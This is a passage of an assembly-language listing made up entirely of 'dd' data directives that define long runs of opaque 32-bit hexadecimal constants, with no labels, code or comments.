dd 91D5D1E7h, 0C100AF78h, 3BD7CF08h, 174E55Dh, 0E32B7A0Eh
dd 0F8420640h, 910C661Ah, 10098A85h, 0C96002AAh, 0CAB27EC1h
dd 0D062BEC0h, 0FE6DC006h, 0E4E06ABCh, 0D5F83979h, 4075851Fh
dd 45176FF9h, 8C00A2A4h, 54D33B69h, 0D1DF50h, 0AD3371F6h
dd 39267704h, 6BBD3700h, 20101449h, 8D8E0092h, 67429302h
dd 5801B098h, 0F4B1378Ch, 29F8234Bh, 40B30E63h, 0AC206084h
dd 78E801A6h, 47676100h, 0FBC47DB7h, 5F0007Eh, 0B50F6F57h
dd 3700AD3Ah, 155C74B3h, 3B9334h, 0A76314F2h, 0FBB05E3Ch
dd 8243710Ch, 77D06Eh, 8EFAD72Ch, 8110B9FEh, 0EDD21D0Fh
dd 12BF0025h, 0DD1A87h, 0AD1E0DECh, 0B9468ABEh, 5971DB00h
dd 3DD5F1C4h, 70CA60B0h, 2655345Fh, 0C2D81750h, 9B30B370h
dd 0F65B68E2h, 0B83CEAB8h, 26D802A8h, 9A64CF5Eh, 31E4D040h
dd 6DF2FE0Fh, 97D0039h, 0E03CC51h, 0CB41E2A7h, 606032A7h
dd 8B273CE4h, 2E061700h, 9D2DCDF3h, 7AA23F16h, 0BCD2CE8Bh
dd 62C45780h, 0A40082CBh, 349F568Ch, 0EC57C830h, 0EB48309Dh
dd 33AF5190h, 13F390A0h, 0E5B0734Eh, 123A7896h, 755710Dh
dd 0C0B21D6Bh, 0B74540FEh, 5E280700h, 3C4FF114h, 330E00BEh
dd 73841F5Dh, 6748ED2Bh
dd 38511E94h, 0ABAC6C80h, 46AD80Fh, 34146E6h, 2F608777h
dd 63EF18B8h, 0D4BFCF00h, 5B780D14h, 0FE9E1497h, 3600A681h
dd 0F36FF8C9h, 1605C879h, 27394907h, 64249C00h, 3F84E6F7h
dd 9680253Bh, 238CB450h, 0E1C0D8FAh, 42C43FE1h, 0E4431E0Bh
dd 0C328C3E2h, 0DEC00A45h, 251FE5E0h, 88C00DBAh, 67B5D16Dh
dd 8E781237h, 6E384783h, 928D673Eh, 0CB63A2F3h, 4781E109h
dd 7D0480CFh, 1DD85182h, 80346FFBh, 0EE7BB440h, 41318A7Ah
dd 8CBEFCCCh, 0C1CC17F5h, 0D8DF6007h, 426EFB6Bh, 0ECA49F0Fh
dd 0DA7A066h, 3962D99h, 88821578h, 6CB858F7h, 39000756h
dd 4D5EB61Eh, 0E6FE1Fh, 2953841h, 801AEFD2h, 0A26E4400h
dd 57F3CFF7h, 595416B8h, 0C0851ECCh, 807863A6h, 0E200B44Dh
dd 4C91CE64h, 0E49A582h, 59CA6029h, 0D0099587h, 0D5ADAFE9h
dd 89544B00h, 557EB2B6h, 0C30B3AFDh, 6F92B01h, 0D032220Ah
dd 5200B66Fh, 0D13EF795h, 39BB090Dh, 10804F5Eh, 0B1AE9947h
dd 5F0073CDh, 0B394B87Ch, 0A93A09h, 0A6F582D7h, 3C89E734h
dd 0B5DDF04h, 80EE742Eh, 0A40C66DEh, 0EF033800h, 0AFE6C76Bh
dd 0EE8F00D7h, 0CE24A986h, 5B003015h, 0A08B8E6Ah, 161A788h
dd 0E4256CB6h, 80D844E5h, 74AF8448h, 0BEDE0h, 3F53F6C4h
dd 451266A6h, 0E8206900h, 1770BA23h, 0C4F4009Dh, 0C7528692h
dd 48009435h, 0AACA7BFFh, 60875B24h, 61B3702Fh, 0EB001364h
dd 0CC14FFBh, 0A38B74h, 97AF877Eh, 0A08870DDh, 0D5006878h
dd 34FAE71Dh, 7F1E2150h, 0A8A6021Ch, 4B737118h, 0E2C88040h
dd 49D65C00h, 0FB7E5B67h, 5EDA036Ah, 0FF7145A3h, 0F2C08CEBh
dd 0A89846ABh, 0AA56EB00h, 21442FB8h, 0D37BB9h, 0BE630850h
dd 3AA2689Fh, 3600D098h, 6074C981h, 276F7Dh, 84C43F1h
dd 0B223A4F2h, 0F43F4824h, 6B0CF800h, 2672F31h, 5587D19Bh
dd 58606C0Eh, 5A00A103h, 3D731B66h, 91FD8Dh, 72A26A45h
dd 4ED33F23h, 9A0058F2h, 0A7228131h, 0FF6D62h, 157785CDh
dd 2E8399B2h, 0F3791101h, 12427150h, 74A68C30h, 0E82900B6h
dd 0BD4FBB17h, 3E00D9F6h, 8F4D99C6h, 0C0ABE0C7h, 9818DCF0h
dd 491FFE74h, 65C2A720h, 40D84275h, 75B0A50Ch, 113C604Ah
dd 0D9511D9Ch, 164F4D00h, 0C415DF39h, 533A0065h, 0D2D7B434h
dd 454DD468h, 3F6D1FC8h, 4EF47F07h, 0B310E1E7h, 178A8ADh
dd 0F28A5D35h, 0C4E4DA37h, 297A05B9h, 10875700h, 3D9D286Ch
dd 0AC1C3FCFh, 65E08100h, 79FD5091h, 0F73BBC00h, 98D2BE74h
dd 52E8E7h, 4A45FC68h, 0A4476020h, 420096EEh, 396AAE62h
dd 9BB5AFh, 0D198F890h, 445BACB3h, 849AA00Fh, 1AA2A031h
dd 0B32B6C2h, 0D6060188h, 0F5C96700h, 0B1FE967h, 0C39FA373h
dd 2C95F940h, 239CD86h, 0C67AD68Dh, 8040B731h, 0D21EBA11h
dd 19C00F1Ah, 1EAC07Eh, 305500CEh, 0A9254DF9h, 8F7D5080h
dd 247F327Ah, 8813B400h, 66F6E01Dh, 701E0ED3h, 0EBA5D623h
dd 0F408C05Ah, 0CE7D4C37h, 0AE6C2416h, 0C94B1403h, 0AC66C01Dh
dd 424500E8h, 524195D0h, 941634B0h, 3042F73Ch, 609B2C1Fh
dd 637C0CDAh, 3FA5B1D8h, 0AE3912D8h, 0A95D6100h, 888A3B63h
dd 3C4B4C81h, 44B4CD18h, 8E74A347h, 9BB11000h, 6243CBEh
dd 948B0FC7h, 3D616241h, 0E4C6BCE1h, 7E021D9h, 0CC13327Bh
dd 0C4001D11h, 0C1BE3531h, 3811C21Ch, 1360BA30h, 3700C5CBh
dd 7ED26AB2h, 0E07DC2h, 0E5E69660h, 8C863F6Fh, 635E8D02h
dd 8037A7ADh, 535104CFh, 48F41E21h, 296DC069h, 0A0C3868Ch
dd 0AB509D00h, 8B9CFD31h, 0C2690040h, 46EC5E4Dh, 21F0D7B7h
dd 0F218513Eh, 4393AA00h, 0B2843766h, 48622AE0h, 712F73B8h
dd 0DB6100C9h, 0C481A5A7h, 48009CCEh, 7EADA468h, 0A885C7BDh
dd 7363BB9Ch, 559103CBh, 68BCAEDCh, 5F8FC5F8h, 0C101ABFAh
dd 4FF385FEh, 602816B1h, 96C05B07h, 58704C33h, 81C8E63Eh
dd 0C4C6376Bh, 18838431h, 0B98E27B8h, 2AEBF9A0h, 0B0313461h
dd 49BA6EF1h, 7F540EF0h, 9D8008F3h, 44DFB33Eh, 4E92BC00h
dd 60FC127Ah, 6BC50005h, 10F3571Bh, 6E74DA54h, 0EB80340Dh
dd 38105848h, 60537466h, 0F38850F5h, 1850B151h, 3100ED5Ch
dd 0F96D634h, 0E89EDE8Ch, 2EDC138Eh, 45E040F0h, 576225D4h
dd 0B8A36F01h, 6D5547A4h, 0FFB8130h, 524CE685h, 2AE8AD20h
dd 0AB00A4BCh, 0B50B366Bh, 1B973Eh, 6E91205Dh, 0BD823F24h
dd 0B46C7A00h, 0F8691D23h, 725100B5h, 2695FD9Fh, 34FE48BEh
dd 0B9080300h, 28E9D33Eh, 7F37787h, 69F794CBh, 0ED82401Fh
dd 0F0A84E18h, 1B1F537Ch, 9D405F80h, 88E21345h, 668C001Ch
dd 0BBC8BAF0h, 55004005h, 542469F3h, 0A199ED7Ah, 4F0844DCh
dd 0B62D7D00h, 0EF8E67B8h, 89766B0h, 7500214Bh, 997F2D85h
dd 0C2E7125h, 0C2E215B3h, 140CB60h, 4048FA31h, 7260BF3Ah
dd 0F0162738h, 4B52152Dh, 747CBC70h, 608B7AC2h, 880C11EBh
dd 6506C31Ah, 6D6E3773h, 0DC64E109h, 1A7F06ACh, 9135454Ah
dd 1CDEE600h, 1FDDE98Dh, 60416349h, 21013844h, 99EA838Bh
dd 7AF4E9FAh, 984D5418h, 0E0AC1C30h, 519D4052h, 88602263h
dd 9E9E1124h, 23C82E03h, 0D4D01209h, 6D770CECh, 8FB78AB9h
dd 53E0208Ah, 0CDB0EB57h, 0DCC98508h, 4300F2BEh, 10BDB524h
dd 142504DDh, 0B85AF575h, 0F8816905h, 0BA90002Bh, 460561Bh
dd 37A61107h, 6623D4AEh, 0ACD9D0DDh, 0FE6A013Ch, 0FB3D8515h
dd 0D6D5C8B5h, 0EA9FF800h, 72390ACDh, 8F83002Ch, 1DAA47A5h
dd 5D13BFF6h, 14035195h, 807394E1h, 1D8BF428h, 0A624F8A6h
dd 2B7B00A9h, 74951B7Eh, 91005F77h, 2472C111h, 0E72359h
dd 7AF9527Fh, 4A863135h, 0A73EF00h, 0D9AD8B87h, 58AB0F18h
dd 4680BE78h, 2E2006BFh, 1F0F4C7Eh, 0C359D35Ch, 9BE53FECh
dd 5B23B0B2h, 0CCF44Bh, 902B68F2h, 0F14CD1A6h, 34C9EE19h
dd 21805D08h, 0EC90228Fh, 0DB78DF9Ah, 9700487Ch, 0FD2A624Dh
dd 8E6E10h, 0C512923Bh, 1058AEEh, 7A7C5A01h, 51AAD267h
dd 1E84AE4h, 78557258h, 91DC813Dh, 2D802189h, 5CD1A890h
dd 8877F043h, 9004248Dh, 0D4E1A89Eh, 2F370052h, 0E6C5393Fh
dd 732DDF00h, 7093AF3Ch, 68976361h, 406456A8h, 30601C70h
dd 0D168AB90h, 63913868h, 90278800h, 491E9C76h, 75E93E03h
dd 575C77h, 7E687A21h, 4F5812CFh, 4B25CB00h, 0E77D943h
dd 0CD2D03ECh, 4EE2EEB9h, 5E48311Dh, 77309C06h, 2A980E11h
dd 4100A632h, 10F94D0Fh, 216C08CDh, 0ADC823F9h, 0B12103A1h
dd 2C57EED4h, 0D8598990h, 0D2685803h, 8EDDFD45h, 9F60C868h
dd 0A53229C1h, 0B0E39C1h, 80322235h, 4B1FBA5Eh, 3899F8EBh
dd 5F8ACBA0h, 21D49D01h, 1862D19Ch, 30D4000Ah, 337FB656h
dd 4701F337h, 590495E5h, 0D8EB5772h, 0E09AF9C4h, 821B0056h
dd 0D2B38709h, 0EA3A78CFh, 3C6B0092h, 31936C6Fh, 445A0079h
dd 17D94B0Bh, 38076541h, 0CCE266ADh, 8319E7B0h, 9FE900B3h
dd 0C94A5BF1h, 9B2CCEA7h, 4B001B38h, 3C667C3Dh, 47330763h
dd 0E0279117h, 0C4520D6Ah, 0E464180Fh, 7B110054h, 2458C88Fh
dd 0FD0BFDh, 4A3D33A2h, 0B200165Ch, 0D7CDBFFFh, 20C605h
dd 2EECAA1h, 64F16794h, 264B5402h, 9C5B69ECh, 2CB10004h
dd 1B39FEDh, 0E1F8557Ah, 0E3DA7203h, 0F84B6981h, 143DDECh
dd 1AF4BB76h, 806E09DFh, 77EE6540h, 46FFC34h, 2201C3D0h
dd 3C098049h, 6A1C7E82h
dd 20B0C826h, 14FE9A5Bh, 20DE8AB9h, 181EF0E1h, 5FFE10E2h
dd 26710353h, 5A51BAh, 2A803BB9h, 0F7AD3C4h, 6ADC6E12h
dd 2141FE0Ch, 2B780099h, 0A2354D6Ch, 63719A54h, 2EF42918h
dd 19D92F9h, 8E8B07D9h, 0ECB20E7Fh, 360051C6h, 0A40CEAEEh
dd 0E7847AAh, 4E6A55A9h, 839CC2EAh, 3CAFFE63h, 0B1779807h
dd 1C89619h, 437B5AD3h, 8911806Dh, 0F2B9E980h, 0F04A0C6Eh
dd 830896EAh, 88AE21C0h, 0D231E9h, 53BC7763h, 74CAD8D3h
dd 7035DE0Ch, 3AF2299Ah, 790247BFh, 6617B155h, 0C91F3463h
dd 9980958Dh, 44E07A2Dh, 0EACE2805h, 0C7E61CD5h, 6F45CD28h
dd 89A5E849h, 0EA234100h, 0CC1F05D0h, 28C8CE31h, 2D0AD4Ah
dd 3A4E71ECh, 0D4B08480h, 734855B3h, 8BC40004h, 0BADBBFFBh
dd 0B61800D2h, 0E24A56EAh, 8F021F11h, 0E8969C1h, 0C94A0EBh
dd 18119C4h, 2A36BD64h, 0D137AD6Dh, 0AA2180F4h, 1FFF1ABBh
dd 726A0FC1h, 0AC35F665h, 0B1DBDE06h, 0BC837886h, 0C92C21ADh
dd 0E564F819h, 0AFF3448Ch, 1E19C007h, 0E01FC39Ah, 0E0CD9E34h
dd 647C3Ah, 0D0EE696Bh, 0D46FFBABh, 8A60BDE8h, 641E6368h
dd 0F681C549h, 23682BC2h, 8B4100F9h, 8530F070h, 0F78A6600h
dd 0C7A7F540h, 0AFE0A0F4h, 4DFE2871h, 925274B0h, 0CAF058h
dd 80D1D695h, 7C53A273h, 2842AC01h, 0F7EF2E6Bh, 908A9980h
dd 29F3BAEBh, 46EC40h, 0AF842CB5h, 0A7578DA8h, 4108B066h
dd 0BD670021h, 0B714822Ch, 6EE6DF55h, 0A64DC609h, 4F6818EDh
dd 34F48053h, 541139CCh, 899200EEh, 0C45044C1h, 8850ABDDh
dd 3F26BFB5h, 8E1D1802h, 1F809C0h, 334FB92h, 26EAADC8h
dd 60B8504Ah, 0FE14ED79h, 0A0EC45EFh, 149E78BEh, 0C862B6F8h
dd 49EE2A73h, 1E8546F8h, 644819C8h, 40FFC4DDh, 7A19BFAEh
dd 0EBC2090Bh, 78106735h, 8F31C7F4h, 3C25A806h, 0F7D3B88Ah
dd 71B300C4h, 0EE39984Fh, 0D01D9CF6h, 841C6077h, 0DFD7F2C7h
dd 600E28CCh, 0BB1569E4h, 0E10E18CBh, 0C29178F2h, 60ECD1CFh
dd 80331F64h, 0C100807Ch, 57257189h, 932CA3FEh, 88ED9FB0h
dd 6A1833D2h, 70D830A9h, 0CC4482B3h, 18B9F481h, 2BE6B8B4h
dd 11F4B0AFh, 0BC660040h, 0A146802Ch, 0B5C13001h, 44775AECh
dd 848F4899h, 8EF2A4E9h, 0AA208262h, 0FA2BE98Ch, 1E0C012Dh
dd 99ABD255h, 45D84188h, 8029BF7Dh, 0D16AAEAFh, 0CE3CBEh
dd 9054D7B2h, 2F339AC2h, 397AE406h, 310CD0h, 0B2C99D69h
dd 99A9419Ch, 802C6E28h, 0DFAC30F9h, 0C37C4588h, 89ADA531h
dd 36D15E88h, 632F0A01h, 3051BCE5h, 6967FE4h, 0B271B1CBh
dd 0E8C44853h, 7E30437Dh, 0F221B7E9h, 86B0C05Eh, 641E69E9h
dd 0A8802FC5h, 9E95FCDCh, 6299168Fh, 0BC380849h, 0C22A7EC0h
dd 106A21D3h, 9B004891h, 68012B76h, 0D1C3E70Fh, 7DB3263h
dd 0A53D31E0h, 0CC7E702Ch, 335094E6h, 4B42D684h, 0C1C1AB1Ah
dd 608C8084h, 108019C3h, 0C837B564h, 0BA80BBF2h, 3205F51Ah
dd 0D309B64Bh, 202DF3EEh, 0E7DFB00Ch, 2FB80165h, 51AC14E3h
dd 0F4C0248Dh, 6F8F0900h, 96E987E0h, 4ACC1295h, 0B3E041A9h
dd 3690CBB0h, 0B809F3ECh, 26627FBh, 0A80C536Dh, 0E7309D22h
dd 0C4E54828h, 7D7F310h, 57F504E9h, 0C111C06Ah, 0C72A8380h
dd 0F4392D3h, 981E4522h, 0EF412A7Bh, 6C1EE5FBh, 18D26C64h
dd 7087B9DBh, 0DC001B7Ch, 4EBBBC76h, 23CE57h, 0C1B27063h
dd 0E69B3CAh, 27C84850h, 3C0AE39h, 0D1BBD48Ah, 7D403D89h
dd 0AC2BF215h, 6B5FED00h, 27CEEB5Eh, 0B20976FEh, 900F8AC3h
dd 724D618h, 1A4D081Bh, 8E7DE46Ch, 0C17D88C8h, 3156D3F9h
dd 29809108h, 2CB74601h, 36D8AF7Eh, 163A2208h, 802CBF6Dh
dd 1205EADCh, 0A06AAF04h, 6CC0F08Bh, 16BC387h, 0D042637Eh
dd 0C46DF6D1h, 9C162437h, 540E482Bh, 6809B03Ah, 9CACFBA8h
dd 0F343BC88h, 0A30B32Ch, 4444B8AFh, 0BB805C42h, 0FF0E0F2Ch
dd 0DB1B00E1h, 86FEA0BCh, 0FD008E94h, 9E790973h, 5451CD1Eh
dd 56AE84Ch, 4BF8F078h, 2341C02Bh, 9700FA0Bh, 0C23A95B1h
dd 0B1E30F1Bh, 80A61C00h, 0DBC3E22Ah, 0EE7470C4h, 21D40F73h
dd 583D1F09h, 807D0200h, 0C04951BBh, 127CF969h, 2E00D275h
dd 5DC6CBC4h, 187965Bh, 0EA7F0317h, 0C21EEDB1h, 8081C0C8h
dd 23505649h, 2A7F01BDh, 3372D3C3h, 779C8110h, 35E0752Bh
dd 0C107E962h, 292CD878h, 92810AC4h, 0E900B856h, 2663DCE4h
dd 64464808h, 89F984h, 0B11EE8EBh, 6015EA3Ch, 79AF411Fh
dd 30814D8Ah, 0B00C2420h, 0E6861430h, 0DA0354F3h, 43B5FBE3h
dd 0D778780Bh, 2904A137h, 0F857CA81h, 0BE4F15D0h, 0EFFCF562h
dd 8F710197h, 0BBD1C9CFh, 0CE898011h, 2E87E1F4h, 185774B1h
dd 705ACADFh, 888A54F1h, 651E5CA0h, 8004BBCh, 0BEA1B17Ch
dd 0F470C058h, 81A841D7h, 5C5E557Ch, 0C2266CB8h, 0A701DC3Ch
dd 3E0EC59Fh, 6FD8F2BAh, 55C90EAh, 3FF70480h, 0ABA84E47h
dd 651C84F5h, 1827DA06h, 3000ACE4h, 0BBB53ED2h, 3DB4103Dh
dd 0C7816C87h, 7D6D01BCh, 759120AFh, 0ED3DB114h, 0E8884098h
dd 0A45953h, 0CB545630h, 38A76CD8h, 0AB14D54Eh, 2A00D0BDh
dd 2675D2CEh, 6B28FE65h, 0FF454C55h, 30888002h, 841119C7h
dd 0F288D564h, 19BEB180h, 9C7A32h, 0BB63830Ah, 65E86DD4h
dd 83FB58C8h, 4FE3EF1Dh, 0E4207060h, 4C35E7C9h, 0CF804C68h
dd 0CB4844A0h, 51DB290Ah, 0B404E09Ah, 94D281BBh, 46BCC42Dh
dd 0E97D027Ch, 3166F2B6h, 85AF107Fh, 0D68000E9h, 1F1A7CA2h
dd 0AC924DDCh, 8C457624h, 37551440h, 7470EE16h, 1E6D79B9h
dd 0E675654Fh, 0F2BF0840h, 0CEC1B664h, 4036E0AFh, 6C013B22h
dd 148C2CBEh, 87FCF4BBh, 18B4B803h, 71774484h, 690097DAh
dd 142F75Fh, 16DDD44Eh, 4AF5370h, 0B47E9158h, 3040C810h
dd 0E3950273h, 0E20F9B5Ch, 0B0686B20h, 3B6A00C0h, 9C276652h
dd 10055ADCh, 0AC1942D9h, 44769804h, 0B4E98330h, 5496F22Eh
dd 8BA970h, 0E3B4ABE9h, 51E4442Dh, 0C8C5DB2Ah, 101E5726h
dd 0BF480449h, 0C92A8560h, 16A2D327h, 7D960390h, 0E2A9432Ah
dd 89BFD980h, 8C1F041Eh, 0A67B50B0h, 5A11092Ch, 0C031ABh
dd 0B0B68CDh, 0A62681B2h, 5A9215Ch, 0E3F9D269h, 10E8C129h
dd 9804046Ah, 0FCA44D70h, 45994069h, 9F397160h, 128C8A7Eh
dd 82E96B1Dh, 5C015398h, 0E987BDDBh, 832A2963h, 10736BADh
dd 3BD02618h, 649B5B28h, 0E1BB4AE4h, 82E0F890h, 38D98B76h
dd 9034F050h, 0AFA371h, 0A2BFF6B8h, 25557B93h, 82C53B17h
dd 5AFEC804h, 0BC3D6743h, 43203C8Dh, 0AF04A146h, 43E0681h
dd 0ECC9CF78h, 66F7FC40h, 0F4A40014h, 4F6C8D1Ah, 18984125h
dd 2CB1E505h, 0A4415253h, 81B76819h, 0D79FD43Dh, 233C4B20h
dd 7B405F80h, 1DFCDDCEh, 43A6AD0Fh, 58C30082h, 171EA73h
dd 21CDFA32h, 0D4FE86FDh, 0E1026E19h, 0B591F018h, 0D46340E4h
dd 112A0093h, 723E039Fh, 0DF3C17C2h, 0B9AF0328h, 0D899BD24h
dd 1E190Dh, 0F7F95329h, 1463BB6h, 7FA29D00h, 7E4E358Ch
dd 82D9000Ah, 4CF6D5D6h, 31006B80h, 0CE6D0BCCh, 4DD40ABh
dd 259B93A5h, 0AB80FFA1h, 940F49h, 0BD69B821h, 4612D2E4h
dd 0F5D8421Eh, 17007A7Ch, 0C2A44E48h, 3A408510h, 0B2BB8257h
dd 87A17200h, 0EE139946h, 0D674E700h, 2CDACB2Eh, 52F0003h
dd 0EAE9D728h, 58013209h, 689CC2B9h, 9EF0190Ch, 146E03A1h
dd 0EBBF0216h, 0B0689DDAh
dd 13003F62h, 35D86659h, 1824CA70h, 1175EA20h, 180023CDh
dd 0C0ABA438h, 1462250h, 8A746909h, 80B3905Ch, 0BE140C78h
dd 806B20FCh, 0FB00E7B1h, 2CF69725h, 0FF37A5FEh, 6007EC52h
dd 0CFDC0EA8h, 2803260h, 0D624E2EAh, 1ADBCD00h, 397599E4h
dd 9650005Ah, 0B20F3AB9h, 1E0E4EC6h, 0C08BF82Eh, 75339E1Bh
dd 8F2207B7h, 0C06D62F3h, 1D42C8DAh, 0C648C400h, 1CA4198h
dd 0AB231DD8h, 8557C14Fh, 0C0CDAF09h, 0EB005073h, 0C7B3545Eh
dd 0A0B634h, 0C30608DDh, 4F62D190h, 0A57C59F4h, 1BF46700h
dd 61177036h, 0EF75001Ch, 0ADFA050Eh, 0FC00823Ch, 7A01A732h
dd 281DDFAFh, 18C514Dh, 1AC9B0F4h, 0D8119941h, 26028C40h
dd 685CE875h, 0C3084194h, 4C4EEEE0h, 59091161h, 68A0DD41h
dd 0CD2B06A0h, 7B678901h, 0A481E09Bh, 1D077CECh, 0F4A647h
dd 83D75AC5h, 5C000308h, 26BF91DDh, 47C844h, 79C2190Fh
dd 0E759369Ah, 10DDCC1Ch, 0F2DB2880h, 0F16D05Ah, 309172B8h
dd 8B35C900h, 0D7C6B9Ah, 82B43307h, 0E5109470h, 9005D2h
dd 4B5BF376h, 0A83B29D4h, 9BDFE8A8h, 0BB655D00h, 3FD17942h
dd 33E4259Ch, 0C9005A74h, 55B12D57h, 3BA600D6h, 401D6284h
dd 9A14DC3Ah, 9CF81560h, 885F28CCh, 573F9h, 212B4146h
dd 9A521DEFh, 0DDEAA300h, 4E64A4F4h, 2F0E00BDh, 0E2D839B3h
dd 3C90C522h, 20274326h, 0E5199880h, 52E2BB5h, 3058544h
dd 809C1D5Ah, 0C6FB066Bh, 94000EE5h, 115136Dh, 1117293h
dd 0C7397FDh, 24678E4Ch, 0D00D998h, 0DEA95D57h, 22BDD09h
dd 85A3283Ah, 9448FB70h, 7B002157h, 939D6EC0h, 4BAF8Bh
dd 98A2E316h, 50230C6Fh, 2D178F01h, 0E4BAD058h, 49D4E1E5h
dd 38310080h, 1F9E1C0Ah, 5500D9FDh, 4BFFA0F9h, 3150FDDh
dd 5BBE3AA7h, 0CDF0E516h, 0B1000847h, 1CC7FACEh, 0B781A9h
dd 90A2C63Bh, 3AA48E44h, 6D73BA00h, 4FF3EA70h, 18090069h
dd 2AA24271h, 6E0007EFh, 0ABE34CD6h, 31ECDh, 4614B6A7h
dd 0EDFE0B6Dh, 5F6220E4h, 40F20FB8h, 0F7B29F3h, 0E552A98Dh
dd 90DC8965h, 9FC58578h, 0F93B3Bh, 0FF2A25B7h, 10EE9Ah
dd 0A5A12DAAh, 0DD8DDF2Eh, 47BBF100h, 0EBC7A631h, 0CCFD12C5h
dd 0FA8303B8h, 18033085h, 0F10A93DDh, 0C0115A7Eh, 0AB22C128h
dd 78336E03h, 0D864851Bh, 16BC2EECh, 0A0E5EBh, 4AADE62Ch
dd 9D0FA562h, 402326B6h, 883A2E1Bh, 92803A74h, 0FA0ABF00h
dd 56438C4h, 0EAE41C1Ch, 0A8289F80h, 0E54675h, 2154C2B0h
dd 8792E91Fh, 996A7101h, 0B9CA5F62h, 2114C64h, 0A9F2E77Fh
dd 40FF94h, 5A1701F0h, 7D00140Fh, 8C876558h, 7B4F0138h
dd 434ED1F7h, 145A2091h, 5C18AD77h, 0F226AE3Bh, 394B0049h
dd 0B19B28A9h, 0B36035F6h, 0EBD6C918h, 0E6CB0463h, 83C05ACCh
dd 0E0A2F634h, 74A3AEE2h, 0FCE8611Ch, 0C6003726h, 412F865Fh
dd 0FD28C5h, 0F6931EC2h, 0A6D4079h, 441E9971h, 0E40025A5h
dd 65639688h, 32C00002h, 0FDA96D69h, 0AF38D93Ch, 358D00CEh
dd 6580E0FEh, 727D76h, 2524B88Eh, 0ADA13721h, 2804C30Eh
dd 0ED584019h, 5618BCh, 77EA8809h, 9FC942D7h, 7D806200h
dd 3F69BA32h, 345300BCh, 25E6C1ABh, 2A006DADh, 21B5EC76h
dd 0B0ED8D38h, 0A2701C06h, 8208003Ch, 7DEC958Ah, 6678B000h
dd 0CDCB3593h, 72AC0EA1h, 73401B48h, 0D021C192h, 9AD4BE00h
dd 6E433861h, 0CFD21E8Ch, 0A29E4096h, 2B148052h, 0BC15A100h
dd 0FBE5200Dh, 95C405FDh, 843C60AEh, 93808044h, 0D8028A4Fh
dd 0F2BBEEDDh, 447040ECh, 0FDC600A8h, 17D060F7h, 0BFE5CC2h
dd 0A51B58C0h, 0FEF4DC7h, 85BD20CBh, 0A6DA3FA0h, 0D0001D94h
dd 9197D524h, 86A1C7h, 0FB6FBC5Dh, 107CFCA8h, 5E1DC300h
dd 49B860B9h, 0E3DF0084h, 55F9CB76h, 9099DC6Fh, 1E853B03h
dd 2263A850h, 44A701AAh, 0EBC6C97Fh, 0C2D4Bh, 28D6B691h
dd 2B318A6h, 19D0BF89h, 40C09B44h, 0B900C48Eh, 16A42912h
dd 90B627BDh, 0A7353F4Bh, 0BA0080DCh, 9E2B10B3h, 0D02BEACh
dd 0DC4B6579h, 7B0850E8h, 57272E26h, 183487D4h, 4A46D0B6h
dd 292ED1B8h, 0D4032CA3h, 0A0BC102Ah, 0A12B6D08h, 0F0EDDA18h
dd 2E74F208h, 8763C401h, 56F4EE3Eh, 172D6BF0h, 808B8E57h
dd 378D6568h, 7CF0A93Ah, 22BC830Ch, 15C5153h, 18F2BA0Fh
dd 0FCC3FDB0h, 8E0208B1h, 0EB4FAF86h, 265CD215h, 57A2FA9h
dd 87C61062h, 0DBC241B1h, 456C40EAh, 1E0035A6h, 4C44C557h
dd 1749BCAh, 42C29FDEh, 0DC2EEB2Ch, 0CB01CD06h, 32E08859h
dd 28EC4D8Dh, 6D600086h, 0BA452AB3h, 38018EB7h, 49E6DE72h
dd 98FCFFBDh, 16800DAh, 636C9C99h, 0F5000E90h, 4B882F6Dh
dd 0E6594FA9h, 0D4440095h, 6F43B4D1h, 0BDF2DE8Fh, 470AA100h
dd 9B8096BEh, 7F55037Eh, 0E1A0653h, 0C9BFC1B0h, 8E457913h
dd 447A5047h, 0C514EB1Bh, 5215046Eh, 6300A098h, 0BB807BFCh
dd 661C9D0Eh, 83CFED5Dh, 98D81CC2h, 7331FAh, 3CE10D3Ah
dd 598D3EC7h, 0D821AE00h, 0A4F5D22Fh, 14710008h, 0DE516B53h
dd 721F3E0Eh, 3F9D682h, 0ED7B396Ch, 15C6B84Ch, 0C4F000FEh
dd 5279FCD1h, 7F008FD0h, 1F113B30h, 5C38EF0Ah, 16018CB9h
dd 4BF76440h, 0D4E86479h, 7CFB6600h, 0FF4D1E6Fh, 83BD1609h
dd 30D44010h, 0C4489BE6h, 0CC1A513Eh, 65930096h, 0B18B3920h
dd 1C280627h, 51D1040Fh, 135C6C73h, 2672050Ch, 88C3B4B9h
dd 0EDA1B01Bh, 5F985Bh, 0D4364010h, 71585DF1h, 0F006CC0Bh
dd 297603C9h, 9481EE6h, 0EED113B0h, 6E92A600h, 738962DEh
dd 0FF590034h, 31BFF2B6h, 830042D4h, 272CDFD8h, 1813BEB1h
dd 0C0CC68E2h, 0C80B5EEBh, 87F17DC0h, 80685DC4h, 6A649B81h
dd 822E47BCh, 3039A4CCh, 2914F953h, 80AA0EA0h, 60C9D51Dh
dd 7C1D8452h, 0A780619Bh, 887FCBA1h, 62640797h, 70C0BAA4h
dd 5C688085h, 0B3C1A201h, 0F5D2E30h, 9E48E0h, 7A9267E0h
dd 0B6D586FFh, 87324500h, 0BBF61A61h, 39D400CFh, 93ACC93Eh
dd 2AF42694h, 1D00E8FCh, 87F62079h, 174148C7h, 60BF1F23h
dd 2C7F7464h, 0ED0B3D00h, 0C912977Eh, 92DC0A1Fh, 0DCA23Eh
dd 236496CEh, 0F502814Ch, 159CC359h, 6C5898h, 7B6E3F2Ah
dd 9E0D4AACh, 0E3A7F905h, 6490361Bh, 3452F26h, 2ACC25BBh
dd 0EBD0F64Eh, 181E3AA5h, 0D8408EEFh, 9F7EFA61h, 30DB00DEh
dd 0A98591D1h, 0EC1D0F36h, 0E017B39Bh, 1780200h, 1A3AD4Dh
dd 0E26343CBh, 0F8501FFFh, 0D8076BBBh, 0B8597109h, 17EC41F9h
dd 8FC030h, 0BCFB1B6Ah, 0D12FDADDh, 0A9004490h, 8E3F6E78h
dd 2121F04h, 97EA0EDCh, 2448477Ch, 9BFE95E3h, 806E3E3Dh
dd 259E046h, 2AE48387h, 2F858CAh, 0D4E3BEF8h, 6448CE05h
dd 0B4184084h, 8F11AC28h, 615F0096h, 0E87CABFFh, 91FE500Fh
dd 0CD301A3Ah, 0B9A30004h, 6AF6BB32h, 4B73EFh, 277A4901h
dd 8DABD358h, 4518D8B0h, 9779BB30h, 9F6F0260h, 82D727A2h
dd 11C0E8C4h, 0DB422581h, 7DAB3EA0h, 0FE008459h, 3656067Eh
dd 8CF0294Ah, 4360182Ch, 0EDC6803Bh, 59A48578h, 0EE447h
dd 222041ADh, 0DD68F5CFh, 1FB6E300h, 97E610BAh, 187FE77h
